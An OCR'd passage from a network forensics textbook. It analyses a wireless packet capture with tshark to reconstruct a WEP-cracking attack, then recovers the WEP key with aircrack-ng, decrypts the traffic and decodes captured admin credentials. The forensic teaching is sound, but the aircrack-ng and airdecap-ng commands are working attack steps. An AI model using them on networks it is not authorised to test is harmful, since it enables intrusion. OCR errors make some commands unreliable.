740 de:ad:be:ef:13:37 00:23:69:61:00:ce

52. IEEE, “IEEE Standard for Information technology—Telecommunications and information exchange
between systems—Local and metropolitan area networks—Specific requirements Part 11: Wireless LAN
Medium Access Control (MAC) and Physical Layer (PHY) Specifications” (June 12, 2007): 40-41,
http://standards.ieee.org/getieee802/download /802.11-2007.pdf (accessed December 31, 2011).
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654 00:23:69:61:00:ce de:ad:be:ef:13:37
59 00:23:69:61:00:ce 01:00:5e:7f:ff:fa
18 00:11:22:33:44:55 33:33:00:00:00:02
14 00:11:22:33:44:55 ff:ff:ff:ff:ff:ff
13 00:11:22:33:44:55 33:33:00:00:00:16

7 de:ad:be:ef:13:37 33:33:00:00:00:02
00:11:22:33:44:55 33:33:ff:33:44:55
de:ad:be:ef :13:37 ff:ff:ff:ff:ff:£ff
de:ad:be:ef:13:37 33:33:00:00:00:16
00:23:69:61:00:ce ff:ff:ff:ff:ff:£ff
de:ad:be:ef:13:37 33:33:ff:ef:13:37

N Wb O

Sure enough, that mystery station (1c:4b:d6:69:cd:07) sent all 42,816 of its data frames
to the broadcast address. Most of the remaining frames were sent between Joe’s station
and the WAP’s presumed STA interface (with the majority of those frames sent from Joe’s
station). The next most common exchanges appear to be between the other odd station,
“de:ad:be:ef:13:37,” and the WAP.

To put this in perspective, of 59,274 data frames:

o 72% were sent from an unknown station (1c:4b:d6:69:¢d:07) to the broadcast address
(AL AT AFAT)

e 25% were transmitted between Joe’s station (00:11:22:33:44:55) and the WAP
(00:23:69:61:00:ce)

e 2% were transmitted between an unknown station (de:ad:be:ef:13:37) and the WAP
(00:23:69:61:00:ce)

There are relatively few reasons that data frames would be sent to the broadcast MAC
address. Perhaps the most common case is when clients send out ARP requests. However, the
volume of traffic sent by 1c:4b:d6:69:cd:07 compared with other stations seems abnormally
high to be legitimate ARP requests.

Another possibility is that 1c:4b:d6:69:cd:07 was conducting some sort of attack on
the wireless network. WEP-cracking attacks often involve the attacker sending out a large
number of 802.11 data frames. Recall that an attacker’s ability to leverage the related key
attack depends on the volume of unique IVs exposed. In order to capture lots of unique I'Vs
quickly, the attacker needs to send out traffic that triggers other stations on the network to
respond. An effective tactic is to replay ARP requests, because ARP requests elicit timely
responses from other systems.

A malicious actor can capture 802.11 frames and replay them on the network, even
without knowing the WEP key. How does an attacker know which 802.11 traffic to replay
if the traffic is encrypted? In the classic ARP replay attack, the attacker listens for data
frames sent to the broadcast MAC address—likely ARP requests—and just blindly replays
them. In this way, the attacker has a good chance of generating traffic that will trigger a
response from other stations on the WLAN. By replaying data packets to the broadcast
Layer 2 address, an attacker can cause other stations to generate frames with unique IVs,
which can then be captured and used to dramatically speed up the WEP-cracking attack.
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6.7.2.2 Patterns and Time Frames

Are there any patterns or stations that seem unusual (perhaps considering the known vs.
unknown stations by volume)? Let’s use the Wireshark suite’s “capinfos” tool to quickly
view the duration of the packet capture and other high-level information.

$ capinfos wlan.pcap

File name: wlan.pcap

File type: Wireshark/tcpdump/... - libpcap
File encapsulation: IEEE 802.11 Wireless LAN

Number of packets: 133068

File size: 8685397 bytes

Data size: 6556285 bytes

Capture duration: 414 seconds

Start time: Fri Sep 17 09:56:41 2010

End time: Fri Sep 17 10:03:34 2010

Data byte rate:
Data bit rate:

Average packet size:
Average packet rate:

156852.64 bytes/sec
126821.09 bits/sec
49.27 bytes

321.75 packets/sec

Note that our forensic workstation’s time zone was MDT (GMT-6) at the time of this
analysis. The human-readable dates and times will be listed in MDT where applicable
throughout the remainder of this case study. Please adjust for time zone accordingly when
you do our own analysis.

For more granular timestamps, we can use tcpdump to print the first and last frame:

$ tcpdump -nnr wlan.pcapl|head -1

reading from file wlan.pcap, link-type IEEE802_11 (802.11)

09:56:41.085810 Beacon (MentOrNet) [1.0x 2.0% 5.5+ 11.0% 18.0 24.0 36.0 54.0
Mbit] ESS CH: 2, PRIVACY

$ tcpdump -nnr wlan.pcapltail -1
reading from file wlan.pcap, link-type IEEE802_11 (802.11)
10:03:34.662764 Request-To-Send TA:00:02:6f:05:cb:11

From the output above, we see that the total duration of the packet capture is approx-
imately 414 seconds, or 6.9 minutes. In that time frame, Joe’s station (11:22:33:44:55:66)
sent the following data frames to the destinations shown below:

$ tshark -r wlan.pcap -R '((wlan.fc.type_subtype == 0x20) && (wlan.fc.
protected == 1)) && (wlan.bssid == 00:23:69:61:00:d0) && (wlan.sa ==
00:11:22:33:44:55) ' -T fields -e wlan.dalsort|uniq -cl|sort -nr

14076 00:23:69:61:00:ce
18 33:33:00:00:00:02
14 ff:ff:ff:ff:££:£f
13 33:33:00:00:00:16
6 33:33:ff:33:44:55

In that same amount of time, the unknown station 1c:4b:d6:69:cd:07 sent 42,816 data
frames to broadcast, and none to anyone else:

$ tshark -r wlan.pcap -R '((wlan.fc.type_subtype == 0x20) && (wlan.fc.
protected == 1)) && (wlan.bssid == 00:23:69:61:00:d0) && (wlan.sa == 1c:4b
:d6:69:¢cd:07)' -T fields -e wlan.dalsort|uniq -cl|sort -nr
42816 ff:ff:ff.ff.ff:£ff
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As we see below, this broadcast traffic from 1c:4b:d6:69:cd:07 occurred over a span of
less than 69 seconds, from 09:59:42 to 10:00:50:

$ tshark -r wlan.pcap -R '((wlan.fc.type_subtype == 0x20) && (wlan.fc.
protected == 1)) && (wlan.bssid == 00:23:69:61:00:d0) && (wlan.sa == 1c:4b
:d6:69:¢cd:07)"' -T fields -e frame.timel|awk '{print $4}'|head -1
09:59:42.220425000

$ tshark -r wlan.pcap -R '((wlan.fc.type_subtype == 0x20) && (wlan.fc.
protected == 1)) && (wlan.bssid == 00:23:69:61:00:d0) && (wlan.sa == 1c:4b
:d6:69:¢cd:07)"' -T fields -e frame.timelawk '{print $4}'|tail -1
10:00:50.972590000

That seems unusual, and worthy of further inquiry. Typically, being unable to explain
such a large proportion of network activity would be a huge red flag. In this case, however,
our sample size is so temporally short that it may only seem anomalous on a small scale.
Perhaps some benign (if annoying) process on this device causes it to do the same thing
every 10 minutes, and we’ve caught only one such burst.

Another interesting pattern to examine might be the distribution of communication part-
ners with 00:23:69:61:00:ce (the WAP’s STA interface). It would be useful to find out what
Layer 3+ services this device provides (perhaps from Joe, or through our own inspection).
Typically DHCP is provided, as would be ARP service for the associated devices.?? In addi-
tion, most WAPs provide remote administrative access through the application layer—most
commonly via HTTP (or better, HTTPS).

We’ve seen that there are data frames coming from the WAP’s BSSID and STA MAC
addresses. Let’s drill down further and inspect the data frames sent by the WAP. We look
first at the distribution of destinations by number of data frames coming from the WAP’s
BSSID (00:23:69:61:00:d0):

$ tshark -r wlan.pcap -R '(wlan.fc.type == 2) && (wlan.bssid ==
00:23:69:61:00:d0) && (wlan.sa == 00:23:69:61:00:d0) "' -T fields -e wlan.da
| sort |uniq -clsort -nr
44 00:11:22:33:44:55
2 1c:4b:d6:69:cd:07
1 de:ad:be:ef:13:37

Notice that Joe’s station (00:11:22:33:44:55) received far more data frames from the
WAP’s BSSID interface than any other station on the network.

Let’s also look at the data frames coming from the WAP’s STA interface (00:23:69:61:00:ce)
and the distribution of their destinations:

$ tshark -r wlan.pcap -R '(wlan.fc.type == 2) && (wlan.bssid ==
00:23:69:61:00:d0) && (wlan.sa == 00:23:69:61:00:ce)' -T fields -e wlan.da
| sort |uniq -clsort -nr
858 00:11:22:33:44:55
654 de:ad:be:ef:13:37
59 01:00:5e:7f:ff:fa
3 ff:ff:ff:ff:££:£f

53. Address resolution between MAC and IP addresses is a service that any Layer 2 protocol must provide.
However, any protocol for doing so must be dependent upon the details of both Layer 2 and Layer 3 protocols
to function properly, and so 802.11’s ARP is necessarily different from Ethernet’s. In the former case, it
becomes necessary to put ARP traffic into data frames.
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As we might reasonably expect, most of the data frames from 00:23:69:61:00:ce (the
WAP’s STA interface) were sent to Joe’s station. After all, he’s likely logged onto the device’s
web-based administrative interface in hopes of troubleshooting the situation. Given that Joe
is the network administrator, if anyone is interacting directly with the WAP above Layer 2,
it should be him. However, as we saw in the command output above, a significant percentage
of frames from the 00:23:69:61:00:ce were sent to the unknown station de:ad:be:ef:13:37.54
It’s certainly reasonable to wonder why de:ad:be:ef:13:37 appears to have had significant
interaction directly with the WAP.

Why not look at the distribution of destination MAC addresses for data frames origi-
nating from de:ad:be:ef:13:377 That might give us some context:

$ tshark -r wlan.pcap -R '(wlan.fc.type == 2) && (wlan.bssid ==
00:23:69:61:00:d0) && (wlan.sa == de:ad:be:ef:13:37)' -T fields -e wlan.da
| sort|uniq -cl|sort -nr
740 00:23:69:61:00:ce

7 33:33:00:00:00:02

ff:ff:ff:ff:££f:£F

33:33:00:00:00:16

33:33:ff:ef:13:37

00:23:69:61:00:d0

SIS

It’s clear from the above output that within the time frame of this packet capture, most
of the data frames sent from de:ad:be:ef:13:37 were directed to one other station—the WAP’s
STA interface. Given that we don’t yet know who or what de:ad:be:ef:13:37 is, other than
that it appears to have successfully associated with our WAP, it might be a good idea to
place those frames in context. In particular, how does the traffic from de:ad:be:ef:13:37 fit
into our timeline? Let’s use tshark to obtain the start and end times of traffic originating
from de:ad:be:ef:13:37.

$ tshark -r wlan.pcap -R '(wlan.fc.type == 2) && (wlan.bssid ==
00:23:69:61:00:d0) && (wlan.sa == de:ad:be:ef:13:37) && (wlan.da ==
00:23:69:61:00:ce)' -T fields -e frame.timelawk '{print $4}'|head -1
10:02:14.181505000

$ tshark -r wlan.pcap -R '(wlan.fc.type == 2) && (wlan.bssid ==
00:23:69:61:00:d0) && (wlan.sa == de:ad:be:ef:13:37) && (wlan.da ==

00:23:69:61:00:ce)' -T fields -e frame.timel|awk '{print $4}'[tail -1
10:03:32.836868000

It appears that traffic occurred toward the end of the packet capture.

6.7.2.3 The Timeline So Far ...

Putting together the information we’ve gathered so far, we can start to build a timeline, as
shown below (times are rounded to the nearest second):

e 09:56:41—Packet capture begins
e 09:59:42 to 10:00:51—1c:4b:d6:69:cd:07 broadcasted large volumes of data frames

54. Obviously the MAC address itself is odd—almost like someone configured it to be easily identified in a
lab environment (much like Joe’s station’s MAC). Our attacker, Eric, has been kinder in this regard than
most actual perpetrators.
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e 10:02:14 to 10:03:33—de:ad:be:ef:13:37 sent small volume of data frames to the
WAP’s STA interface (00:23:69:61:00:ce)

e 10:03:35—Packet capture ends

6.7.3 A Closer Look at the Management Frames

Given the stations of interest we identified, let’s look at management frames specific to the
BSSID of interest. To do this we can use Wireshark’s display filter “(wlan.fc.type == 0)
&& (wlan.bssid == 00:23:69:61:00:d0).”

6.7.3.1 Frequency by Source and Destination

Let’s start by obtaining a breakdown of the number of management frames by sender, to
see if anything stands out. We can use tshark to show us this information:

$ tshark -r wlan.pcap -R '(wlan.fc.type == 0) && (wlan.bssid ==
00:23:69:61:00:d0) "' -T fields -e wlan.sal|sort|uniq -cl|sort -nr
14858 00:23:69:61:00:d0
146 1c:4b:d6:69:cd:07
100 00:11:22:33:44:55
6 de:ad:be:ef:13:37

It is reasonable to expect the WAP to send out more management frames than the
stations, but two orders of magnitude more seems unusual, especially when there are only
a few stations.

Let’s examine the WAP’s outbound management frames (from the BSSID interface) and
sort them by destination MAC address:

$ tshark -r wlan.pcap -R '(wlan.fc.type == 0) && (wlan.bssid ==
00:23:69:61:00:d0) && (wlan.sa == 00:23:69:61:00:d0) ' -T fields -e wlan.da
| sort |uniq -clsort -nr
12217 1c:4b:d6:69:cd:07
2455 ff:ff:ff:ff:£ff:£ff
126 00:11:22:33:44:55
60 de:ad:be:ef:13:37

The overwhelming majority of management frames sent by the WAP’s BSSID interface
were destined to one of the unknown stations—two orders of magnitude more than were
sent to Joe’s station in the same time period. For that matter, the WAP’s BSSID interface
sent more than 20 times as many management frames to the broadcast address as it did to
Joe’s station.

Let’s view statistics regarding the subtypes of this traffic. In the output below, the first
column is the number of matching frames, the second column is the management frame
subtype, and the third column is the destination MAC address.

$ tshark -r wlan.pcap -R '(wlan.fc.type == 0) && (wlan.bssid ==
00:23:69:61:00:d0) && (wlan.sa == 00:23:69:61:00:d0) ' -T fields -e wlan.fc
.subtype -e wlan.dalsort|uniq -cl|sort -nr
12076 10 1c:4b:d6:69:cd:07
2454 12 ff:ff:ff:ff:£f£f:££f
118 b5 00:11:22:33:44:55
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73 11 1c:4b:d6:69:cd:07
68 1 1c:4b:d6:69:cd:07
55 5 de:ad:be:ef :13:37
4 11 00:11:22:33:44:55
00:11:22:33:44:55
11 de:ad:be:ef:13:37
ff:ff:ff:ff:££:££
3 de:ad:be:ef :13:37
de:ad:be:ef :13:37
12 de:ad:be:ef:13:37

e TS
[o0]

Based on our analysis, the overwhelming majority of management frames from the WAP’s
BSSID interface were sent to the unknown station 1c:4b:d6:69:¢d:07, and were subtype 10
(0x0a): Disassociation. In other words, Joe’s WAP spent most of its frames trying to tell
this station to “get lost.”

Its next-highest count of frames were broadcasting subtype 12 (0x0c): Deauthentication!
In other words, it looks like Joe’s WAP also spent a bunch of time telling everyone to get
lost! No wonder Joe was having problems.

Let’s look at the timing of these particular management frames. We’'ll start by testing
out a filter that should match all of the subtype 10 traffic within the WLAN of interest that
was sent from the WAP’s BSSID interface to the unknown station 1c¢:4b:d6:69:cd:07. We
should get 12,076 frames—the same as the number above:

$ tshark -r wlan.pcap -R '(wlan.fc.type_subtype == 0x0a) && (wlan.bssid ==
00:23:69:61:00:d0) && (wlan.sa == 00:23:69:61:00:d0) && (wlan.da == 1c:4b:
d6:69:cd:07)"' -T fields -e frame.time|wc -1
12076

That worked, so now let’s use the same filter with the “head” and “tail” programs in order
to find the time boundaries:

$ tshark -r wlan.pcap -R '(wlan.fc.type_subtype == 0x0a) && (wlan.bssid ==
00:23:69:61:00:d0) && (wlan.sa == 00:23:69:61:00:d0) && (wlan.da == 1c:4b
d6:69:cd:07)"' -T fields -e frame.timel|awk '{print $4}'|head -1

09:59:42.221489000

$ tshark -r wlan.pcap -R '(wlan.fc.type_subtype == 0x0a) && (wlan.bssid ==
00:23:69:61:00:d0) && (wlan.sa == 00:23:69:61:00:d0) && (wlan.da == 1c:4b

d6:69:cd:07)"' -T fields -e frame.timel|awk '{print $4}'|tail -1
10:00:47.611120000

It appears that Joe’s WAP told 1c:4b:d6:69:cd:07 to Disassociate 12,076 times in the 65
seconds that passed from 09:59:42 to 10:00:47. That seems unusual.

While we're at it, let’s look at the timing of the subtype 12 frames that the WAP was
broadcasting (that second-most common type of management frame seen):

$ tshark -r wlan.pcap -R '(wlan.fc.type_subtype == 0x0c) && (wlan.bssid ==
00:23:69:61:00:d0) && (wlan.sa == 00:23:69:61:00:d0) && (wlan.da == ff:ff:
ff:ff:ff:ff)' -T fields -e frame.time|wc -1
2454

$ tshark -r wlan.pcap -R '(wlan.fc.type_subtype == 0x0c) && (wlan.bssid ==
00:23:69:61:00:d0) && (wlan.sa == 00:23:69:61:00:d0) && (wlan.da == ff:ff:

ff:ff:ff:ff)' -T fields -e frame.time|awk '{print $4}'|head -1
09:59:03.241923000
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$ tshark -r wlan.pcap -R '(wlan.fc.type_subtype == 0x0c) && (wlan.bssid ==
00:23:69:61:00:d0) && (wlan.sa == 00:23:69:61:00:d0) && (wlan.da == ff:ff:
ff:ff:ff:ff)' -T fields -e frame.timelawk '{print $4}'[tail -1
10:00:57.672520000

Joe’s WAP broadcast 2,454 Deauthentication messages during roughly the same time period
(09:59:03 to 10:00:57). That also seems unusual.

6.7.3.2 Partial Explanation

Recall that the 802.11 specification does not include a mechanism for verifying the authen-
ticity of a sender. As a result, management frames can be spoofed. This leaves WLANs
vulnerable to trivial denial-of-service attacks. Attackers can broadcast Disassociation or
Deauthentication frames in order to cause network-wide outages or knock specific stations
off the network. It is entirely possible that some of the Disassociation and Deauthentication
messages shown above were actually sent by an attacker masquerading as Joe’s WAP, and
not the WAP itself.

Could the traffic we’ve seen have caused problems for Joe? Of course. Joe’s station
likely interpreted the Deauthentication messages as valid communications from the WAP,
which would cause his station to attempt a new authentication/association negotiation. It
18 also possible that another station in physical range could have spoofed some or all of these
messages.

Let’s investigate further.

6.7.4 A Possible Bad Actor

Based on what we’ve seen so far, let us hypothesize that 1c:4b:d6:69:cd:07 is a suspicious
actor (and for the moment our most obvious one, based on voluminous aberrant behavior).

Let’s catalog the activities of interest. We should make sure we record all the activities
we see coming from this station and update our timeline.

The command below produces a count of frames sent by 1c:4b:d6:69:cd:07 sorted and
counted by type and subtype. In the output below, the first column is the number of match-
ing frames, the second column is the 802.11 frame type, and the third column is the frame
subtype.

$ tshark -r wlan.pcap -R '(wlan.bssid == 00:23:69:61:00:d0) && (wlan.sa == 1c
:4b:d6:69:cd:07) ' -T fields -e wlan.fc.type -e wlan.fc.subtypelsort -nl
uniq -c|sort -nr
42816 2 0
77 0 11
69 0 O

As you can see, there were 42,816 data frames from 1c:4b:d6:69:cd:07, 77 Authentication
Requests, and 69 Association Requests. Let’s sort by type/subtype to help us build our
timeline further:

e The following command produces the timestamp for the first Association Request
(type 0 subtype 0) seen from 1lc:4b:d6:69:cd:07:
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$ tshark -r wlan.pcap -R '(wlan.bssid == 00:23:69:61:00:d0) && (wlan.sa
== 1c:4b:d6:69:cd:07) && (wlan.fc.type_subtype == 0x00)' -T fields -e
frame.time|head -1
Sep 17, 2010 09:58:51.776452000

e The following command produces the timestamp for the last Association Request (type

0 subtype 0) seen from 1c:4b:d6:69:¢d:07:

$ tshark -r wlan.pcap -R '(wlan.bssid == 00:23:69:61:00:d0) && (wlan.sa
== 1c¢:4b:d6:69:cd:07) && (wlan.fc.type_subtype == 0x00)' -T fields -e
frame.time|tail -1
Sep 17, 2010 10:00:47.612104000

The following command produces the timestamp for the first Authentication Request
(type 0 subtype 11) seen from 1c:4b:d6:69:cd:07:

$ tshark -r wlan.pcap -R '(wlan.bssid == 00:23:69:61:00:d0) && (wlan.sa
== 1¢:4b:d6:69:cd:07) && (wlan.fc.type_subtype == 0xO0b)' -T fields -e
frame.time|head -1
Sep 17, 2010 09:58:51.773386000

The following command produces the timestamp for the last Authentication Request
(type 0 subtype 11) seen from 1c:4b:d6:69:cd:07:

$ tshark -r wlan.pcap -R '(wlan.bssid == 00:23:69:61:00:d0) && (wlan.sa
== 1c¢:4b:d6:69:cd:07) && (wlan.fc.type_subtype == 0xOb)' -T fields -e
frame.time|tail -1
Sep 17, 2010 10:00:47.606473000

6.7.5 Timeline

Based on the investigation so far, we can now cobble together a timeline of the events of
interest to us on September 17, 2010 (times are rounded to the nearest second):

09:56:41—Packet capture begins

09:58:52—Station “lc:4b:d6:69:cd:07” begins sending both Authentication and As-
sociation Requests, essentially simultaneously, at a rate exceeding one per second

09:59:03—The WAP appears to begin broadcasting a larger flood of Deauthentication
messages

09:59:42—The station “lc:4b:d6:69:¢d:07” begins broadcasting an even larger flood
of data frames

09:59:42 to 10:00:47—The WAP appears to send 12,076 Disassociation messages to
1c:4b:d6:69:¢d:07

10:00:47—The station “lc:4b:d6:69:cd:07” stops sending Authentication and Associ-
ation Requests

10:00:51—The station “lc:4b:d6:69:cd:07” stops sending broadcasted data frames
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e 10:00:58—The WAP’s apparent Deauthentication broadcasts stop

e 10:02:14—Station “de:ad:be:ef:13:37” sends first data frame to the WAP’s STA in-
terface

e 10:03:33—Station “de:ad:be:ef:13:37” sends last captured data frame
e 10:03:35—Packet capture ends

6.7.6 Theory of the Case

Based on Joe’s categorical assertion, the unknown station with MAC address “lc:4b:d6:69:cd:07”
is an interloper at best. Taking into consideration its activities relating to Joe’s WAP, it
may well be malicious.

Previously in this chapter we discussed how an attacker might seek to force the generation
of unique IVs in order to brute-force a WEP key. The evidence suggests that in this case,
the station 1c:4b:d6:69:cd:07 may have been an attacker attempting to gain access to the
WLAN. In this section, we further explore this theory of the case.

6.7.6.1 Stimulus and Response

Based on the evidence we’ve seen so far, we hypothesize that the abnormal volume of broad-
casted data frames sent by 1c:4b:d6:69:cd:07 are ARP requests which have been replayed
in order to generate additional unique IVs to faciliate a WEP-cracking attack. If this is the
case, and the attack was successful, then the number of unique IVs generated by stations
on the WLAN would have significantly increased during the time period that the attacker
sent the broadcasted data frames.

Recall that the packet capture began at 09:56:41.085810 and ended at 10:03:34.662764 on
September 17, 2010. The station 1c:4b:d6:69:¢d:07 began sending broadcasted data frames
09:59:42.220425 and ending at 10:00:50.972590 on the same day.

Let’s check to see how many unique IVs were generated by other stations on the WLAN
during the time period that 1c:4b:d6:69:cd:07 was generating large amounts of data frames,
and compare this result to other time periods.

e Before the flood of data frames began (09:56:41.085810 to 09:59:42.220425), 694 unique
IVs were generated in 181.134615 seconds, as shown below. This is an average of
3.831405 unique IVs per second.

$ tshark -r wlan.pcap -R '(wlan.bssid == 00:23:69:61:00:d0) && (wlan.sa
= 1¢:4b:d6:69:cd:07) && (frame.time < "Sep 17, 2010
09:59:42.220425000") ' -T fields -e wlan.wep.iv|sort -ulwc -1

694

e During the flood of broadcasted data frames (09:59:42.220425 through 10:00:50.972590)
13,657 unique IVs were generated in 68.752165 seconds, as shown below. This is an
average of 198.641017 unique IVs per second.

$ tshark -r wlan.pcap -R '(wlan.bssid == 00:23:69:61:00:d0) && (wlan.sa
!= 1¢c:4b:d6:69:¢cd:07) && (frame.time <= "Sep 17, 2010
10:00:50.972590000") && (frame.time >= "Sep 17, 2010
09:59:42.220425000") ' -T fields -e wlan.wep.iv|sort -ulwc -1

13657
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o After the flood of broadcasted data frames ended (10:00:50.972590 through 10:03:34.662764)
1,240 unique IVs were generated in 163.690174 seconds, as shown below. This is an
average of 7.575287 unique IVs per second.

$ tshark -r wlan.pcap -R '(wlan.bssid == 00:23:69:61:00:d0) && (wlan.sa
'= 1¢c:4b:d6:69:¢cd:07) && (frame.time > "Sep 17, 2010
10:00:50.972590000") ' -T fields -e wlan.wep.ivlsort -ulwc -1

1240

The frequency of unique IVs generated during the flood of data frames was over 26
times greater than the frequency of unique IVs generated beforehand—and over 51 times
greater than the frequency of unique ICs generated afterwards. In other words, it is entirely
plausible that the flood of data frames sent from 1c:4b:d6:69:cd:07 could be indicative of a
successful WEP-cracking attack.

6.7.6.2 WEP Cracking Attack

Given what we know, a reasonable theory is that a station with the MAC address of
1c¢:4b:d6:69:¢d:07 waged an attack on Joe’s WAP and its associated stations beginning at
09:58:51 and lasting for a few minutes at most. If successful, it may have yielded sufficient
key material for a “related key” attack on the WEP key.

We can test this theory, and will, in our answers below.

As a corollary, we could further theorize that the station with the MAC address of
de:ad:be:ef:13:37 was able to authenticate and associate as a result of the previous activity.
(Exactly how 1c:4b:d6:69:¢d:07 and de:ad:be:ef:13:37 are related is a matter of interest, but
that they are related is strongly implied by the timeline.) At a minimum, we can attempt to
inspect de:ad:be:ef:13:37’s traffic to see if it is malicious.

6.7.7 Response to Challenge Questions
Now let’s answer the questions posed at the beginning of this case:
e What are the BSSID and SSID of the WAP of interest?

We were able to identify and verify these values from the traffic capture provided to
us:

— BSSID: 00:23:69:61:00:d0
— SSID: MentOrNet

e Is the WAP of interest using encryption?
Yes, every single data frame inspected was encrypted.

e What stations are interacting with the WAP and/or other stations on the
WLAN? There were three stations that we could easily detect based on an analysis
of management frame activity:

— 00:11:22:33:44:55
— 1c:4b:d6:69:¢d:07
— de:ad:be:ef:13:37
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e Are there patterns of activity that seem anomalous? There were several, in-

cluding a flood of data frames coming from an unknown station that coincided with a
spike in unique IVs being sent out from the WAP. Though it didn’t last for very long,
the unusual activity was followed by yet another unknown station which appeared to
associate successfully.

How are they anomalous: Consistent with malfunction? Consistent with
maliciousness? The anomalous behavior is consistent with a WEP-cracking attack.
One station emitted a disproportionate number of data frames destined for the Layer 2
broadcast address. These data frames apparantly triggered a response from the WAP
(and other stations as well), which resulted in the WAP generating a large number of
frames with unique IVs. The proportion of data frames broadcasted one station was
unusually high. However, it is a common symptom of a WEP-cracking attack because
in order to crack the WEP key, an attacker needs to collect a large number of data
frames with unique IVs.

Can we identify any potentially bad actors? Station 1c:4b:d6:69:cd:07 emitted
a large number of data frames sent to the Layer 2 broadcast address, which caused the
WAP to respond with a large number of frames with unique IVs. Based on this, it is likely
that 1c:4b:d6:69:cd:07 was an attacker attempting to launch a WEP-cracking attack.

Shortly after the apparent WEP-cracking attack ended, the unknown station
de:ad:be:ef:13:37 successfully associated with the WAP. It is possible that this sys-
tem’s activites are associated with the attack.

Can we determine if a bad actor successfully executed an attack? Let’s in-
vestigate whether the WEP-cracking attack could have been successful. One way to
figure that out would be to simply use aircrack-ng to try to recover the WEP key from
the packet capture. If enough key material was revealed during that packet capture,
we should be able to crack the key. Let’s find out:

$ aircrack-ng -b 00:23:69:61:00:d0 wlan.pcap
Aircrack-ng 1.0

[00:00:02] Tested 938 keys (got 26805 IVs)

KB depth byte (vote)
0 3/ 4 D0 (33536) 1F(33024) 27(33024) BC(33024) 2F(31744) 7B
(31744)
1 o/ 1 E5(38656) 82(33024) 0C(32256) 3C(32000) EB(31744)
42(31488)
2 0/ 6 9E (34048) 27(33792) T7A(32768) E9(32512) 8B(31744) OE
(31744)
3 0/ 4 B9 (35328) D4(35072) 2E(34048) B9(33024) 00(32768)
06(32512)
4 8/ 10 6D (31488) 10(31232) B9(31232) 7A(30976) 95(30976) A5
(30976)

KEY FOUND! [ DO:E5:9E:B9:04 ]
Decrypted correctly: 100%
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We were able to successfully recover the WEP key from the captured packets, which
tells us that yes, it is certainly possible that the attacker’s WEP-cracking attack was
successful. If we recovered the WEP key from these packets, then the attacker could
have, too.

Recall that shortly after the apparent attack ended, the unknown station
“de:ad:be:ef:13:37” successfully authenticated to the network, and there was addi-
tional WEP-encrypted communication between “de:ad:be:ef:13:37” and Joe’s WAP. It
is entirely possible that after recovering the WEP key with station 1c¢:4b:d6:69:¢d:07,
the attacker used the key to authenticate with station “de:ad:be:ef:13:37.” Now that
we have recovered the WEP key, we can decrypt the Layer 2 traffic and investigate
further using higher-layer protocol analysis techniques.

6.7.8 Next Steps

At this point, we should probably verify with Joe that the 40-bit key we were able to expose
(D0:E5:9E:B9:04) is the WEP key that he had set for his WAP. Then again a more certain
confirmation can be had if the recovered WEP key decrypts the packets.

e Decrypting the data frames. Assuming all due permission and authority to proceed,
the obvious next step would be to “decapsulate” the WEP-encrypted frames. The
“airdecap-ng” tool performs this function nicely. The command below produces a file
named “wlan-dec.pcap” with the decrypted WEP frames.

$ airdecap-ng -1 -b 00:23:69:61:00:d0 -w DO:E5:9E:B9:04 wlan.pcap

Total number of packets read 133068
Total number of WEP data packets 56692
Total number of WPA data packets 0
Number of plaintext data packets 0
Number of decrypted WEP packets 56692
Number of corrupted WEP packets 0
Number of decrypted WPA packets 0

e Inspecting the decrypted content. It seems prudent to proceed with the assump-
tion that some unknown station had forcibly gained access to Joe’s WLAN. Every
indication seems to support this interpretation of events—including our ability to
replicate an attacker’s likely successes so far. If we could crack the WEP key and
decrypt the network traffic, anyone else with access to the RF waves could have done
the same.

At this point we can return to our usual tools and techniques for network traffic and
communications analysis—but not leaving aside what we’ve already learned and docu-
mented in our timeline. In addition, if we were to look further, we would discover that
immediately after the traffic spike caused by 1¢:4b:d6:69:cd:07, and after all of the Deau-
thentication frames were broadcast (perhaps spoofed), the station “de:ad:be:ef:13:37”
appeared, associated, and authenticated for the first time. Once it authenticated, it
immediately began talking to the WAP on port 80/TCP. According to Joe, this station
is not an authorized network user, and so this is clearly suspicious traffic.

Reconstructing some of the last few decrypted streams reveals that
“de:ad:be:ef:13:37” authenticated to the WAP’s administrative web interface.
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Follow TCP Stream

Stream Content

POST /Security.tri HTTR/1.1

Host: 192.168.1.1

User-Agent: Mozilla/5.8 (X11; U; Linux i686; en-US; rv:1.9.0.15) Gecko/20891028
Firefox/3.0.15

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%;q=0.8
lAccept-Language: en-us,en;g=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: IS0-8859-1,utf-8;q=0.7,*;0=0.7

Keep-Alive: 300

Connection: keep-alive

Referer: http://192.168.1.1/WSecurity.htm

Authorization: Basic YWRtaw46YWRtaW4=

Content-Type: application/x-www-form-urlencoded

Content-Length: 78

SecurityMode=3&CipherType=1&PassPhrase=hahplwned]ee&GkuInterval=3600&Llayout=en<
<head>

<meta http-equiv="expires" content="0">

<meta http-equiv="cache-control" content="no-cache">

<meta http-equiv="pragma" content="no-cache"=>

<meta http-equiv=Content-Type content="text/html; charset=iso-8859-1">

<SCRIPT language="javascript" type="text/javascript" src="share.js"»</SCRIPT>

Figure 6-19. A screenshot of Wireshark showing a reconstructed stream between
“de:ad:be:ef:13:37" (192.168.1.109) and the WAP’s STA interface “00:23:69:61:00:ce”
(192.168.1.1). Notice the HTTP “Authorization” header, which indicates that HTTP Basic
Access Authentication was used.

Figure 6-19 shows a reconstructed stream between “de:ad:be:ef:13:37” (192.168.1.109)
and the WAP’s STA interface “00:23:69:61:00:ce” (192.168.1.1). Notice the HTTP
“Authorization” header:

Authorization: Basic YWRtaW46YWRtaW4=

This indicates that the client “de:ad:be:ef:13:37” attempted to authenticate to the
WAP’s administrative web interface using HTTP Basic Access Authentication (the
credentials are Base64-encoded in transit, not encrypted). The shell command below
decodes the Base64-encoded credentials, as shown:

$ echo "YWRtaW46YWRtaW4="|base64 -d
admin:admin

It appears from Figure 6-19 that the WAP was configured with a weak or default
password of “admin,” and that we have a “volunteer” system administrator who is
about to help us fix something. On further inspection it becomes clear that something
adverse to Joe was done.

Exactly what, and how, is left as an exercise for the reader.



Chapter 7

Network Intrusion Detection
and Analysis

“IDS is dead.”
—Gartner, 2003

It may seem, based on the title of this chapter, that we’re somewhat behind the times. After
all, Gartner famously pronounced intrusion detection dead many years ago,' asserting in
2003 that intrusion detection systems (IDSs) would be obsolete by 2005 and that everyone
would be better off putting their money into preventative technologies (i.e., firewalls). Subse-
quently, most vendors followed suit, rebranding all of their detection solutions as “intrusion
